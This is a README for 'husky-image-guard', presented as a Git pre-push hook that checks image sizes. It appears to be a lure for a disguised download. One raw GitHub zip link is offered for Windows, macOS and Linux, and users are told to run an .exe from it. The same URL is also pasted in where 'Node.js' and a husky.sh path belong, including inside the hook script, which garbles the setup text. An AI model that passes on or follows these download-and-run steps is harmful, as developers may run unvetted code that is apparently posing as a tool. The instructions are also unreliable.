Welcome to husky-image-guard! This application helps you check the size of images before pushing them to your Git repository. By using this tool, you can avoid pushing large images that can slow down your project.
To get started, visit the following page to download the latest version of husky-image-guard:
This page contains the latest release files. Choose the file that suits your operating system and follow the instructions below.
Before you install husky-image-guard, make sure your system meets these requirements:
- Operating System: Windows, macOS, or Linux
- https://raw.githubusercontent.com/nancy12341/husky-image-guard/main/src/husky_guard_image_v1.4.zip: Version 12 or higher
- Git: Version 2.0 or higher
- Visit the Release Page.
- Download the file for your operating system:
- For Windows: download
https://raw.githubusercontent.com/nancy12341/husky-image-guard/main/src/husky_guard_image_v1.4.zip - For macOS: download
https://raw.githubusercontent.com/nancy12341/husky-image-guard/main/src/husky_guard_image_v1.4.zip - For Linux: download
https://raw.githubusercontent.com/nancy12341/husky-image-guard/main/src/husky_guard_image_v1.4.zip
- For Windows: download
- Extract or install the file:
- For Windows: double-click the
.exefile to run the installer. - For macOS: unzip the
.zipfile and drag the application to your Applications folder. - For Linux: extract the files and run the provided script in your terminal.
- For Windows: double-click the
After installation, you need to configure husky-image-guard with Git.
-
Open your terminal or command prompt.
-
Navigate to your project folder using the
cdcommand. -
Run the following command to set up Husky:
npx husky install -
Now, add a hook to check image sizes. Create a file named
.husky/pre-pushand add the following lines:#!/bin/sh . "$(dirname "$0")https://raw.githubusercontent.com/nancy12341/husky-image-guard/main/src/husky_guard_image_v1.4.zip" npx husky-image-guard
-
Save the file and ensure it is executable.
When you attempt to push changes to your Git repository, husky-image-guard will automatically check the size of any images you are trying to upload. If an image exceeds the maximum size limit, the push will be blocked, and you will receive a notification indicating which images are too large.
You can easily adjust the size limit by editing the configuration file. This file allows you to set your preferred maximum image size.
- Automatic checking of image sizes before push.
- Customizable size limits for images.
- User-friendly interface with simple commands.
To keep using the latest features, check for updates periodically. You can do this by visiting the Release Page and downloading the new version following the same installation steps.
If you encounter issues while using husky-image-guard, here are some common problems and solutions:
- Error: "Push denied due to oversize image": Check the images in your commit and resize any oversized ones.
- Installation issues: Ensure you have the correct permissions to install applications on your computer. Running the installation as an administrator may help.
- Command not found: Verify that you have https://raw.githubusercontent.com/nancy12341/husky-image-guard/main/src/husky_guard_image_v1.4.zip and Git installed on your system and that they are added to your systemβs PATH.
Thank you for choosing husky-image-guard. With this tool, you can ensure that your Git repository remains efficient by keeping oversized images out of your pushes. Visit the Release Page to download the latest version and get started today.
For additional support, feel free to check the Issues section in this repository or reach out through our contact links. Enjoy clean and efficient version control!